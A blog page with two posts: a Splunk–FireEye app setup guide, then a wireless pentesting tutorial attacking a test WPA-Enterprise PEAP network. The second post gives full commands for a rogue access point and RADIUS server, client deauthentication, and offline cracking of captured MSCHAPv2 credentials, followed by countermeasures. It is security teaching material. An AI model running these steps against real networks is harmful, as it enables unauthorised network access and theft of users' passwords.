Stopgap: Splunk for FireEye v2 App

By Tony Lee

Introduction

Technology is always progressing… which is great for the most part.  However, progression can sometimes cause compatibility issues when trying to merge two ever-evolving technologies--such as Splunk and FireEye.  This quick post should help get you up and running using the current Splunk for FireEye v2 App.  Preliminary testing shows that the patched version of the app (v2.0.8) should (at a minimum) work with Splunk and FireEye wMPS (NX) OS versions in the table below when following the instructions in this post.

Version	FireEye wMPS (NX) OS 6.X	FireEye wMPS (NX) OS 7.X
Splunk v5	OK	OK
Splunk v6	OK	OK

Outline

• Background
• Download
• Installation from file
• Creating a Splunk user
• Configuring FireEye
• Conclusion

Background

Knowing the background behind the Splunk v2.0.8 patch isn’t needed to make this work, but for those that are curious--see the following link:

http://answers.splunk.com/answers/123168/fireeye-built-in-dashboards-not-working

Download

There are four components that need to be downloaded--all of them require a free Splunk account, so you will need to register if you don’t already have an account.  Even though it is possible, do not try to download the three apps below from within the Splunk App Manager.  Download them from a web browser and save the apps in a directory that you can find later.

1. Splunk (if not already installed) - http://www.splunk.com/download
2. Splunk for FireEye App - https://apps.splunk.com/app/409/
3. Splunk for Google Maps - http://apps.splunk.com/app/368/
4. Splunk for Geo Location Lookup Script - http://apps.splunk.com/app/291/

Figure 1:  Downloading the apps using a web browser

Installation from file

First install Splunk if you did not already have it installed.  Now install the apps that we previously downloaded to disk.

For Splunk v6, use Apps  Manage Apps -> Install app from file -> Browse

Figure 2:  Using app manager to install from file

Navigate to the following apps that you downloaded in the prior step, installing them one by one:

• Splunk for Google Maps
• google-maps_113.tgz
• Splunk for Geo Location Lookup Script
• geo-location-lookup-script-powered-by-maxmind_106.tgz
• Splunk for FireEye App
• fireeye_208.tgz

(Perform any necessary Splunk restarts when requested)

Figure 3:  Uploading the apps

Now that all of the apps are installed, the FireEye and GoogleMaps app should show up in the Splunk Home.

Figure 4:  Apps are installed

Creating a Splunk User

Since the Splunk for FireEye App uses HTTP Post to send FireEye XML data, we need to create a Splunk account that will be used for authentication to post our event data.

Note:  Make sure the account name is alphanumeric only (no whitespaces)

Example username:  fireeye

For Splunk v6, complete the following steps:

• Log into the Splunk web UI with an admin account
• Click “Settings -> Users and authentication -> Access Controls”
• Click “Users” -> Click the "New" button
• Fill in the required data
• Privilege Note:  admin role is required (user and power user are not sufficient)
• Click the "Save" button

Figure 5:  Creating the Splunk admin account that will accept our HTTP POST messages.

Configuring FireEye

Complete the following steps to send data to Splunk using extended XML via HTTP Post:

• Log into the FireEye appliance with an administrator account
• Click “Settings”
• Click “Notifications”
• Click the “http” hyperlink
• Make sure the "Event type" check box is selected
• Click the “Apply Settings” button

Next to the "Add HTTP Server" button, type "SplunkHTTP". Then click the "Add HTTP Server" button.

Next to the newly created SplunkHTTP entry, ensure the following check boxes are selected:

• Enabled
• Auth
• SSL Enable

Enter the remaining settings:

Server URL:   https://<SplunkAD.DR.ESS>:<PORT>/services/receivers/simple?source=<FireEyeAddress>&sourcetype=fe_xml&index=fe

Username:  fireeye (or username you created in Splunk)

Password:  <password you created above in Splunk>

Note:  The default port used above is 8089--unless it has been changed.

Ex:  https://192.168.33.152:8089/services/receivers/simple?source=FEwMPS1&sourcetype=fe_xml&index=fe

Notifications: Select All Events (recommended)

Delivery: Select Per Event (recommended)

Message Format: XML Extended (recommended, but any XML option can be used)

Remember to click the “Update” button when finished.

Figure 6:  Steps to configure the FireEye appliance to send data to Splunk

Now test the sending and receiving of notifications on the same FireEye Notifications page by clicking the "Test-Fire" button at the bottom.   Flip back over to the Splunk interface and check out the event data in the FireEye App.

Figure 7:  FireEye Overview dashboard

Figure 8:  Malware Overview dashboard

Conclusion

These instructions are intended to help users bridge the gap to the latest version of Splunk and FireEye while a new app is in the works.  Let us know if this worked for you or if you have any issues that we can help solve in the meantime.  Thanks for reading.

Special Thanks To

Ian Ahl

Dennis Hanzlik

Josh McCarthy

Karen Kukoda

Leianne Lamb

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-Enterprise - Part II

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, a network hiding its SSID, a MAC filtering network, and our first round of WPA-Enterprise networks (LEAP and EAP-MD5) to showcase the abilities of this inexpensive and flexible setup.

WEP:  http://securitysynapse.blogspot.com/2013/12/wireless-pentesting-on-cheap-kali-tl.html

WPA-PSK:  http://securitysynapse.blogspot.com/2014/01/wireless-pentesting-on-cheap-kali-tl.html

Hidden SSID:  http://securitysynapse.blogspot.com/2014/01/wireless-pentesting-on-cheap-kali-hiddenSSID.html

MAC Filtering:  http://securitysynapse.blogspot.com/2014/02/wireless-pentesting-on-cheap-kali-MACFiltering.html

WPA-Enterprise Part I:  http://securitysynapse.blogspot.com/2014/02/wireless-pentesting-on-cheap-kali-WPAEntPartI.html

In this article we will complete our tests by attacking a test WPA-Enterprise network that uses Protected EAP (PEAP).

Figure 1:  Our setup

Consult our previous article WEP for the following topics as they are omitted from this article due to similarity:

• Equipment
• Hardware
• Software
• Tips and tricks
• Version of Workstation
• Screen Resolution
• Simple Text Editor
• Connecting the USB Device

Outline

• Preparation
• WPA-Enterprise Refresher
• Discovery
• Attack
• PEAP and EAP-TLS Explained
• Install the Software
• freeradius-server-2.1.12
• freeradius-wpe patch
• hostapd v2.0
• Start the RADIUS Server
• Start the Fake AP
• Deauthenticate the Client
• Brute-force the Credentials
• MSCHAPv2
• EAPMD5
• Connect
• Countermeasures
• Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop [ ok ] Stopping network connection manager: NetworkManager.

WPA-Enterprise Refresher

We already looked at breaking WEP and WPA-PSK networks in previous articles and mentioned that the danger in using these wireless standards is that there is a shared static key that should be changed every time someone with knowledge of the key leaves the company.  After all, you wouldn’t want an ex-employee still being able to connect to the network after their departure--would you?  This is a security issue in any company that has regular turn over.  So what is the alternative?  WPA-Enterprise of course!

WPA-Enterprise is ideal for large organizations because it does not use a single shared key in which all users use to connect to the wireless network.  Each user has their own account (usually username and password) that they use to authenticate to the network.  Best of all these accounts can be centrally authenticated and managed--even linked into existing account repositories such as Active Directory or LDAP.  When an employee leaves the company and their account is terminated in Active Directory, it would also be terminated from the wireless if authentication is passed through.

The other unique WPA-Enterprise attribute is its use of Extensible Authentication Protocols (EAPs).  This allows multiple implementations and increased flexibility for corporations.  This flexibility is a double edge sword though as not all EAP types are created equal (in terms of security or ease of deployment).  We discussed LEAP and EAP-MD5 in the previous article.  The EAP types we will discuss in this article are bolded below (feel free to skip non-bolded as they are present to be complete):

• LEAP - Lightweight EAP
• Credentials are sent without SSL tunnel protection, using the MS-CHAP authentication protocol.
• “[P]roprietary wireless LAN authentication method developed by Cisco Systems”
• “LEAP uses a modified version of MS-CHAP, an authentication protocol in which user credentials are not strongly protected.”
• “Cisco LEAP, similar to WEP, has had well-known security weaknesses since 2003 involving offline password cracking.”
• Source:  http://en.wikipedia.org/wiki/Lightweight_Extensible_Authentication_Protocol
• EAP-MD5
• Credentials are sent without SSL protection, but MD5 hashed.
• “It offers minimal security; the MD5 hash function is vulnerable to dictionary attacks, and does not support key generation, which makes it unsuitable for use with dynamic WEP, or WPA/WPA2 enterprise.”
• Source:  https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-MD5
• PEAP - (Protected EAP)
• “[E]ncapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel”
• “Jointly developed by Cisco Systems, Microsoft, and RSA Security.”
• “Requiring only a server-side PKI certificate to create a secure TLS tunnel to protect user authentication, and uses server-side public key certificates to authenticate the server”
• Source:  http://en.wikipedia.org/wiki/Protected_Extensible_Authentication_Protocol
• Most common inner authentication protocols are MSCHAPv2 and GTC (tokens)
• EAP-TLS - (EAP-Transport Layer Security)
• “[U]ses PKI to secure communication to a RADIUS authentication server or another type of authentication server.”
• “Though it is rarely deployed, EAP-TLS is still considered one of the most secure EAP standards available and is universally supported by all manufacturers of wireless LAN hardware and software.”
• Requires client-side certificate, which prevents many organizations from using it.
• Source:  https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-TLS
• EAP-FAST - (Flexible Authentication via Secure Tunneling)
• “[A] protocol proposal by Cisco Systems as a replacement for LEAP.”
• “Use of server certificates is optional in EAP-FAST.”
• “EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified.”
• “When automatic PAC provisioning is enabled, EAP-FAST has a slight vulnerability where an attacker can intercept the PAC and use that to compromise user credentials.”
• Source:  https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-FAST

Discovery (kismet)

In previous articles, we used iwlist, airodump-ng, and Kismet to discover wireless networks.  This is also the case here.  Take a look below at the information that iwlist provides.

root@kali:~# iwlist wlan1 scanning | grep -A 30 CorpNetwork                    ESSID:"CorpNetwork"                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s                    Mode:Master                    Extra:tsf=000000000d674180                    Extra: Last beacon: 96ms ago                    IE: Unknown: 000B436F72704E6574776F726B                    IE: Unknown: 010482840B16                    IE: Unknown: 030101                    IE: IEEE 802.11i/WPA2 Version 1                        Group Cipher : TKIP                        Pairwise Ciphers (2) : CCMP TKIP                        Authentication Suites (1) : 802.1x --snip--

Even though these three tools can identify WPA-Enterprise networks, none of them can tell you the EAP type.  For this we use Wireshark to inspect the packets.  Let’s capture some traffic with airodump-ng and inspect it with Wireshark, but first we want to place the wireless card into “Monitor” mode.

root@kali:~# airmon-ng start wlan0

We first use airodump-ng without any options in order to discover the network we want to examine and its details.  After we are obtain this information, we focus our collection efforts by locking onto the channel and AP.

Syntax: airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT> Key: -c = Channel that the AP is on --bssid = MAC address of the AP -w = Prefix of the file name that you want to write data to <INT> = Interface we will be capturing on Attack: airodump-ng --bssid A0:F3:C1:0C:B6:46 -c 1 -w mysteryEAP mon0

Figure 2:  airodump-ng is detecting wireless networks

From this screenshot, we will note a few items for the attack later:

Variable name = Description:  Value ============================== $ESSID = ESSID:  CorpNetwork $CH = Channel:  1 $AP = AP MAC: A0:F3:C1:0C:B6:46 $VM = Victim user MAC:  24:77:03:8C:D3:44

Now that our capture is running, we can inspect the packets with Wireshark.  In order to discover the EAP type, we can use Wireshark’s “Statistics -> Protocol Hierarchy” feature.  Look for 802.1X Authentication and apply a filter to those selected packets.  A shortcut would be to type “eapol” in the display filters.

Figure 3:  Wireshark Protocol Hierarchy feature

After applying the filters, we see that the EAP type is Protected EAP (PEAP).

Figure 4:  EAP type is PEAP

Attack

Now that discovery is complete and we understand the EAP type, we will examine the attack methodology for PEAP and EAP-TLS.

PEAP and EAP-TLS Explained

Since PEAP and EAP-TLS use a secure tunnel to pass the inner authentication protocol, we will need to create a fake RADIUS server and fake access point and convince the client to connect to our infrastructure.  This will be accomplished by having a stronger signal than their access point and then deauthenticating the client so they connect to our AP.

The diagrams below help to illustrate the attack process.  In the first image, we see normal operation of a client connected to the access point and the access point passing the authentication on to the RADIUS server.

Figure 5:  Normal operation in which client is connected to legitimate network

In the second image, we see a deauth attack followed by the client connecting to the fake access point and an attempt to authenticate to the attackers RADIUS server.

Figure 6:  After wireless client is deauthenticated, the client will hopefully connect to our fake access point

This should yield the information necessary to begin a brute force attack of the credentials.  Let’s look at the detailed steps that are required in getting this setup in our environment.  Our steps taken with this setup are outlined below:

• Install the Software
• Start the RADIUS Server
• Start the Fake AP
• Deauthenticate the Client
• Brute-force the Credentials

Install the Software

This attack requires a decent amount of software that is not installed by default on the Kali Linux attack image.  The software we need is:

• freeradius-server-2.1.12
• freeradius-wpe (Wireless Pwnage Edition) patch
• hostapd v2.0

We have greatly simplified the download and install of the RADIUS attack service by listing the commands needed below.  The freeradius-server-2.1.12 and the patch can be downloaded and applied by copying and pasting the following commands into a terminal as root:

wget ftp://ftp.freeradius.org/pub/radius/old/freeradius-server-2.1.12.tar.bz2 wget https://raw.github.com/brad-anton/freeradius-wpe/master/freeradius-wpe.patch tar -jxvf freeradius-server-2.1.12.tar.bz2 cd freeradius-server-2.1.12 patch -p1 < ../freeradius-wpe.patch ./configure make make install ldconfig

Explanation of the commands above:  

The first two wget statements download both the freeradius server and the patch for wpe.  The next line decompresses the freeradius-server package.  Then we change directories into the decompressed directory and run the patch.  Then we compile and install the application.

After running the commands above, test the freeradius server to make sure the patch was applied by running it with the (-v) version option.  You should see “FreeRADIUS-WPE” in the banner.

root@kali:~/freeradius-server-2.1.12# radiusd -v radiusd: FreeRADIUS-WPE Version 2.1.12, for host i686-pc-linux-gnu, built on Jul 29 2013 at 10:34:02 --snip--

The version of hostapd that Kali has in its repositories is 1.X--which has a limitation of only being able to negotiate WPA1.  If we want to be able to attack WPA2 networks, we need to install hostapd v2.0 from source.  We have simplified the installation and troubleshooting of the hostapd service by listing the commands below for your copy and paste pleasure:

wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz tar -zxvf hostapd-2.0.tar.gz cd hostapd-2.0/ cd hostapd/ cp defconfig .config apt-get install libnl-dev apt-get update apt-get install libssl-dev make && make install

Explanation of the commands above:  

The first command obtains the latest source code for hostapd.  The next three commands decompress the package and navigate to the proper directory for compilation.  We then create a configuration file for compiling.  The next three commands grab necessary libraries and finally the last command compiles and installs the binaries.

After all the software is installed, we can start the attack.

Start the RADIUS Server

We can attempt to start the RADIUS server and perform the attack, but there is one configuration change that we needed to make in order to successfully capture credentials from a Windows client using AD pass through authentication.

The file we needed to edit is:

/usr/local/etc/raddb/modules/mschap

We had to make sure the line “with_ntdomain_hack” was set to yes and uncommented as shown below:

# Windows sends us a username in the form of        # DOMAIN\user, but sends the challenge response        # based on only the user portion.  This hack        # corrects for that incorrect behavior.        #        with_ntdomain_hack = yes

When that line is commented we received the following error message:  “Could not recover last 2 bytes of hash from the challenge/response.”

Figure 7:  Error message when “with_ntdomain_hack” was not set to yes

Now that we have the configuration file modified, we should be ready to start radiusd.

Syntax: radiusd -X Key: -X = Debugging mode. When trying to understand how the server works, ALWAYS run it with "radiusd -X".

The screenshot below shows the expected behavior of running “radiusd -X”.  The configuration will flash by and then the screen will hang until there is input from the fake access point that we set up in the next step.

Figure 8:  radiusd is ready to process requests

Start the Fake AP

If we want to trick the victim to connect to our setup, we need a fake access point.  This can be a hardware based access point, such as the Netgear home router we have been using in the previous articles, or we can create a software access point.  Because a software access point is more flexible and portable, we will use the hostapd software AP in this article.  The hostapd software requires a configuration file.  Feel free to use our example file below to get you started:

interface=wlan0 driver=nl80211 ssid=CorpNetwork logger_stdout=-1 logger_stdout_level=0 dump_file=/tmp/hostapd.dump ieee8021x=1 eapol_key_index_workaround=0 own_ip_addr=127.0.0.1 auth_server_addr=127.0.0.1 auth_server_port=1812 auth_server_shared_secret=testing123 wpa=2 wpa_key_mgmt=WPA-EAP channel=1 wpa_pairwise=TKIP CCMP

After you have entered the data above in a file called hostapd.conf, run the software and supply the configuration file as shown below:

Syntax: hostapd <configuration file> Syntax: hostapd ./hostapd.conf

After running hostapd, your screen should look like the following screenshot:

Figure 9:  hostapd will display minimal output after it is ready to receive the first wireless client

Deauthenticate the Client

Now that we have our RADIUS server and fake access point ready to go, we need a client to authenticate to us.  We could be patient and wait for any client to connect or reconnect to our AP or we could help speed the process up.  Our goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we will trick them to connect to our fake access point and RADIUS server so they will create the encrypted tunnel with us and pass their inner authentication credentials.

In our example, the victim information found during the discovery phase is summarized below:

Variable name = Description:  Value ============================== $ESSID = ESSID:  CorpNetwork $CH = Channel:  1 $AP = AP MAC: A0:F3:C1:0C:B6:46 $VM = Victim user MAC:  24:77:03:8C:D3:44

Now, let’s knock the victim off the wireless network using aireplay’s deauthentication attack.

Syntax: aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT> Key: -0 = (same as --deauth) deauthentication attack -a = MAC address of the AP -c = Victim MAC address <INT> = Interface we will be attacking from Attack: aireplay-ng -0 25 -a $AP -c $VM mon0

If the client reconnects to your access point, you will see traffic on both the freeradius-wpe screen as well as the hostapd screen.  However, the real goods will be displayed in the freeradius-server-wpe.log file:

root@kali:~# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

The client authentication will fail, but this still provides us with the MSCHAPv2 challenge/response we need to crack the user’s password shown in the next section.

Figure 10:  The user’s authentication will fail, but we will have the challenge/response needed to crack the password

Brute-force the Credentials

Since the attack on these WPA-Enterprise inner authentication protocols is an off-line brute-force attack, you will first need a sufficiently large wordlist to supply to the cracking program.  The rockyou.com word list is a good start as it is almost 14.5 million passwords.  In order to use the rockyou.com wordlist, you will have to uncompress it as shown below:

root@kali:/usr/share/wordlists# ls rockyou.txt.gz root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz root@kali:/usr/share/wordlists# ls rockyou.txt root@kali:/usr/share/wordlists# wc -l rockyou.txt 14344392 rockyou.txt

MSCHAPv2

Since the inner authentication protocol was MSCHAPv2 in this example, we will use Josh Wright’s asleap tool as shown below.  We will supply the challenge (-C), response (-R), and the wordlist (-W):

Syntax: root@kali:~# asleap asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com> asleap: Must supply an interface with -i, or a stored file with -r Usage: asleap [options] -r Read from a libpcap file -i Interface to capture on -f Dictionary file with NT hashes -n Index file for NT hashes -s Skip the check to make sure authentication was successful -h Output this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit -C Challenge value in colon-delimited bytes -R Response value in colon-delimited bytes -W ASCII dictionary file (special purpose) Attack: root@kali:~# asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W /usr/share/wordlists/rockyou.txt

The asleap tool is very fast.  It found our password of “cheekymonkeyrox” in just seconds because it is present as-is within the rockyou password list.

Figure 11:  The challenge/response is used in the asleap tool with a dictionary to recover the password

Keep in mind that passwords are case sensitive and would thus most likely require permutations of passwords as discussed in previous articles.  For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout Feed JTR permutations into asleap: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -W - -C <CHALLENGE> -R <RESPONSE> Example: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W -

EAP-MD5

If the inner authentication protocol is EAP-MD5 use the eapmd5pass tool:

Syntax: root@kali:~# eapmd5pass eapmd5pass - Dictionary attack against EAP-MD5 Usage: eapmd5pass [ -i <int> | -r <pcapfile> ] [ -w wordfile ] [options]  -i <iface> interface name  -r <pcapfile> read from a named libpcap file  -w <wordfile> use wordfile for possible passwords.  -b <bssid> BSSID of target network (default: all)  -U <username> Username of EAP-MD5 user.  -C <chal> EAP-MD5 challenge value.  -R <response> EAP-MD5 response value.  -E <eapid> EAP-MD5 response EAP ID value.  -v increase verbosity level (max 3)  -V version information  -h usage information The "-r" and "[-U|-C|-R|-E]" options are not meant to be used together.  Use -r when a packet capture is available.  Specify the username, challenge and response when available through other means. Attack: root@kali:~# eapmd5pass -w /usr/share/wordlists/rockyou.txt -r WPAcapture-01.cap

For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout Feed JTR permutations into eapmd5pass: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r <PCAP> Example: /usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r WPAcapture-01.cap

Connect

Now that we have recovered the credentials, we will connect to the AP using the configuration files below:

Check the status of the card: root@kali:~#  iwconfig wlan0 Enter the network information: root@kali:~# iwconfig wlan0 essid "QX3A7" Bring the Interface up: root@kali:~# ifconfig wlan0 up Create wpa_supplicant file: network={    ssid="CorpNetwork"    scan_ssid=1    key_mgmt=WPA-EAP    eap=PEAP    identity="TonyTestUser"    password="cheekymonkeyrox"    phase1="peaplabel=0"    phase2="auth=MSCHAPV2" } Run the wpa_supplicant: root@kali:~# wpa_supplicant -i wlan0 -c ~/wpa-psk.conf Obtain an IP: root@kali:~# dhclient wlan0 Reloading /etc/samba/smb.conf: smbd only. Verify an IP is obtained: root@kali:~# ifconfig wlan0

Countermeasures

Even though the intention of this article is not to warn about the dangers of using WPA-Enterprise PEAP or EAP-TLS security, we feel that it is important to note that client settings can be just as important as the EAP type.  That said, we perform many wireless assessments in which we discover misconfigured clients that leave themselves open to the attack outlined in this article.  When this is the case, we recommend centrally reconfiguring the wireless clients to reflect a more secure configuration.  For example, PEAP properties should always validate server certificates, specify RADIUS servers, specify CA’s, and prevent users from overriding any suspicious events.  These secure client settings are shown in the screenshot below.

Figure 12:  Wireless client settings for PEAP

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-Enterprise PEAP test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.

If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Props

Thomas d'Otreppe for the ever critical aircrack-ng software suite

Josh Wright and Brad Antoniewicz for great work on freeradius-WPE

Josh Wright for asleap and eapmd5pass

Jouni Malinen <j@w1.fi> and contributors for hostapd

Offensive security group for Kali Linux

Dan Dumond for the sanity check and proof read